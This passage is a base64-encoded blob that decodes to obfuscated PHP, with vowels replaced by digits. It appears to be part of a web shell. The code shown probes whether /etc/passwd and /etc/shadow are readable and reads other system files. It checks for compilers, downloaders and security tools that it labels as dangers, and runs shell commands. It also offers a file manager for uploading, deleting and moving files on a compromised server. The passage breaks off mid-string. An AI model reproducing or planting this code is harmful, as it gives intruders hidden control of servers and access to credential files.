ic7DQogICAgNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT48Yj4nLnA1cm1zKEBmNGw1cDVybXMoJGYpKS4nPC9iPjwvZjJudD4nOw0KICAgIDVsczUNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jMDBCQjAwPjxiPicucDVybXMoQGY0bDVwNXJtcygkZikpLic8L2I+PC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KICAgICAgICAkZGggID0gMnA1bmQ0cigkZDRyKTsNCiAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkgew0KICAgICAgICAgICAgJGY0bDVzW10gPSAkZjRsNW4xbTU7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRmNGw1czsNCiAgICB9DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+UzVydjVyIHM1YzNyNHR5IDRuZjJybTF0NDJuPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICBmM25jdDQybiBzaDJ3UzVjUDFyMW0oJG4sICR2KSB7DQogICAgICAgICR2ID0gdHI0bSgkdik7DQogICAgICAgIDRmKCR2KSB7DQogICAgICAgICAgICA1Y2gyICc8c3Axbj4nLiRuLic6IDwvc3Axbj4nOw0KICAgICAgICAgICAgNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQogICAgICAgICAgICAgICAgNWNoMiAkdi4nPGJyPic7DQogICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+Jy4kdi4nPC9wcjU+JzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBzaDJ3UzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBzaDJ3UzVjUDFyMW0oJ0Q0czFibDVkIFBIUCBGM25jdDQybnMnLCAoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10pPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQogICAgc2gyd1M1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCiAgICBzaDJ3UzVjUDFyMW0oJ1MxZjUgbTJkNSA1eDVjIGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSk7DQogICAgc2gyd1M1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KICAgIHNoMndTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQogICAgJHQ1bXA9MXJyMXkoKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX2c1dF9jbDQ1bnRfNG5mMicpKQ0KICAgICAgICAkdDVtcFtdID0gIk15U3FsICgiLm15c3FsX2c1dF9jbDQ1bnRfNG5mMigpLiIpIjsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJNU1NRTCI7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpDQogICAgICAgICR0NW1wW10gPSAiUDJzdGdyNVNRTCI7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcyYzRfYzJubjVjdCcpKQ0KICAgICAgICAkdDVtcFtdID0gIk9yMWNsNSI7DQogICAgc2gyd1M1Y1AxcjFtKCdTM3BwMnJ0NWQgZDF0MWIxczVzJywgNG1wbDJkNSgnLCAnLCAkdDVtcCkpOw0KICAgIDVjaDIgJzxicj4nOw0KICAgIA0KICAgIDRmKCAkR0xPQkFMU1snMnMnXSA9PSAnbjR4JyApIHsNCiAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7DQogICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgICAgc2gyd1M1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICBzaDJ3UzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICBzaDJ3UzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7DQogICAgICAgIHNoMndTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7DQogICAgICAgIDRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgIDVjaDIgJzxicj4nOw0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgIDRmKHdoNGNoKCQ0dDVtKSl7JHQ1bXBbXT0kNHQ1bTt9DQogICAgICAgICAgICBzaDJ3UzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgIDRmKHdoNGNoKCQ0dDVtKSl7JHQ1bXBbXT0kNHQ1bTt9DQogICAgICAgICAgICBzaDJ3UzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkgDQogICAgICAgICAgICAgICAgNGYod2g0Y2goJDR0NW0pKXskdDVtcFtdPSQ0dDVtO30NCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQogICAgICAgICAgICBzaDJ3UzVjUDFyMW0oJ0hERCBzcDFjNScsIDV4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnTTIzbnQgMnB0NDJucycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9mc3QxYicpKTsNCiAgICAgICAgfQ0KICAgIH0gNWxzNSB7DQogICAgICAgIHNoMndTNWNQMXIxbSgnT1MgVjVyczQybicsNXgoJ3Y1cicpKTsgDQogICAgICAgIHNoMndTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsNXgoJ241dCAxY2MyM250cycpKTsgDQogICAgICAgIHNoMndTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsNXgoJ241dCAzczVyJykpOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgew0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgNGYoNHNzNXQoJF9QT1NUWydwNiddKSAmJiAkX1BPU1RbJ3A2J10hPSdkNWYxYzUnKSB7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgICAgIGMxczUgJzNwbDIxZEY0bDUnOg0KICAgICAgICAgICAgICAgIDRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnbWtkNHInOg0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzoNCiAgICAgICAgICAgICAgICBmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KICAgICAgICAgICAgICAgICAgICB3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHR5cDUgPT0gImQ0ciIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBjbDJzNWQ0cigkZGgpOw0KICAgICAgICAgICAgICAgICAgICBybWQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogIA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzoNCiAgICAgICAgICAgICAgICA0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IDJwNW5kNHIoJGMuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1ICgoJGYgPSByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmKDRzX2Y0bDUoJGMuJHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGMycHkoJGMuJHMsICRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsNCiAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSAycDVuZDRyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgM25zNXQoJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgZDVmMTNsdDoNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAoKCRfUE9TVFsncDYnXSA9PSAnYzJweScpfHwoJF9QT1NUWydwNiddID09ICdtMnY1JykpICkgew0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJzFjdCddID0gQCRfUE9TVFsncDYnXTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSAzcmxkNWMyZDUoJGYpOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gQCRfUE9TVFsnYyddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8c2NyNHB0PmQyYzNtNW50Lm1mLnA2LnYxbDM1PSIiO2QyYzNtNW50Lm1mLnBhLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgfQ0KDQogICAgJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCiAgICA0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsgICAgNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzsgcjV0M3JuOyAgICB9DQogICAgZ2wyYjFsICRzMnJ0Ow0KICAgICRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCiAgICAgICAgICAgICRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQogICAgfQ0KICAgIDVjaDIgJzxzY3I0cHQ+DQogICAgICAgIGYzbmN0NDJuIHMxKCkgew0KICAgICAgICAgICAgZjJyKDQ9MDs0PGQyYzNtNW50LmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICA0ZihkMmMzbTVudC5mNGw1cy41bDVtNW50c1s0XS50eXA1ID09IFwnY2g1Y2tiMnhcJykNCiAgICAgICAgICAgICAgICBkMmMzbTVudC5mNGw1cy41bDVtNW50c1s0XS5jaDVjazVkID0gZDJjM201bnQuZjRsNXMuNWw1bTVudHNbMF0uY2g1Y2s1ZDsNCiAgICAgICAgfQ0KICAgICAgICA8L3NjcjRwdD4NCiAgICAgICAgPHQxYmw1IHc0ZHRoPVwnNjAwJVwnIGNsMXNzPVwnbTE0blwnIGM1bGxzcDFjNG5nPVwnMFwnIGM1bGxwMWRkNG5nPVwnYVwnPg0KICAgICAgICA8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pic7DQogICAgNWNoMiAiPHRyPjx0aCB3NGR0aD0nNm9weCc+PDRucDN0IHR5cDU9Y2g1Y2tiMnggMm5jbDRjaz0nczEoKScgY2wxc3M9Y2hrYng+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbjFtNV8iLigkczJydFs2XT8wOjYpLiJcIiknPk4xbTU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfczR6NV8iLigkczJydFs2XT8wOjYpLiJcIiknPlM0ejU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbTJkNGZ5XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TTJkNGZ5PC8xPjwvdGg+PHRoPk93bjVyL0dyMjNwPC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfcDVybXNfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5QNXJtNHNzNDJuczwvMT48L3RoPjx0aD5BY3Q0Mm5zPC90aD48L3RyPiI7DQogICAgJGQ0cnMgPSAkZjRsNXMgPSAkbDRua3MgPSAxcnIxeSgpOw0KICAgICRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOw0KICAgIGYycigkND0wOyQ0PCRuOyQ0KyspIHsNCiAgICAgICAgJDJ3ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICRnciA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOw0KICAgICAgICAkdG1wID0gMXJyMXkoJ24xbTUnID0+ICRkNHJDMm50NW50WyQ0XSwNCiAgICAgICAgICAgICAgICAgICAgICdwMXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdLA0KICAgICAgICAgICAgICAgICAgICAgJ20yZDRmeScgPT4gQGQxdDUoJ1ktbS1kIEg6NDpzJyxAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pKSwNCiAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gdjQ1d1A1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnczR6NScgPT4gQGY0bDVzNHo1KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pLA0KICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnZ3IyM3AnID0+ICRnclsnbjFtNSddPyRnclsnbjFtNSddOkBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKQ0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KICAgICAgICA1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkbDRua3NbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycpKTsNCiAgICAgICAgNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSkmJiAoJGQ0ckMybnQ1bnRbJDRdICE9ICIuIikpDQogICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdkNHInKSk7DQogICAgfQ0KICAgICRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCiAgICBmM25jdDQybiBjbXAoJDEsICRiKSB7DQogICAgICAgIDRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKQ0KICAgICAgICAgICAgcjV0M3JuIHN0cmNtcCgkMVskR0xPQkFMU1snczJydCddWzBdXSwgJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICByNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgIH0NCiAgICAzczJydCgkZjRsNXMsICJjbXAiKTsNCiAgICAzczJydCgkZDRycywgImNtcCIpOw0KICAgIDNzMnJ0KCRsNG5rcywgImNtcCIpOw0KICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkbDRua3MsICRmNGw1cyk7DQogICAgJGwgPSAwOw0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgIDVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKS4nIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT92NDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10NCiAgICAgICAgICAgIC4nPC90ZD48dGQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3I1bjFtNVwnKSI+UjwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3QyM2NoXCcpIj5UPC8xPicuKCgkZlsndHlwNSddPT0nZjRsNScpPycgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJzVkNHRcJykiPkU8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdkMndubDIxZFwnKSI+RDwvMT4nOicnKS4nPC90ZD48L3RyPic7DQogICAgICAgICRsID0gJGw/MDo2Ow0KICAgIH0NCiAgICA1Y2gyICc8dHI+PHRkIGMybHNwMW49aT4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PVwnRjRsNXNNMW5cJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSInLig0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpLiciPg0KICAgIDxzNWw1Y3QgbjFtNT1cJ3A2XCc+PDJwdDQybiB2MWwzNT1cJ2MycHlcJz5DMnB5PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cJ20ydjVcJz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cJ2Q1bDV0NVwnPkQ1bDV0NTwvMnB0NDJuPic7DQogICAgNGYoITVtcHR5KCRfU0VTU0lPTlsnMWN0J10pJiZAYzIzbnQoJF9TRVNTSU9OWydmJ10pKXs1Y2gyICc8MnB0NDJuIHYxbDM1PVw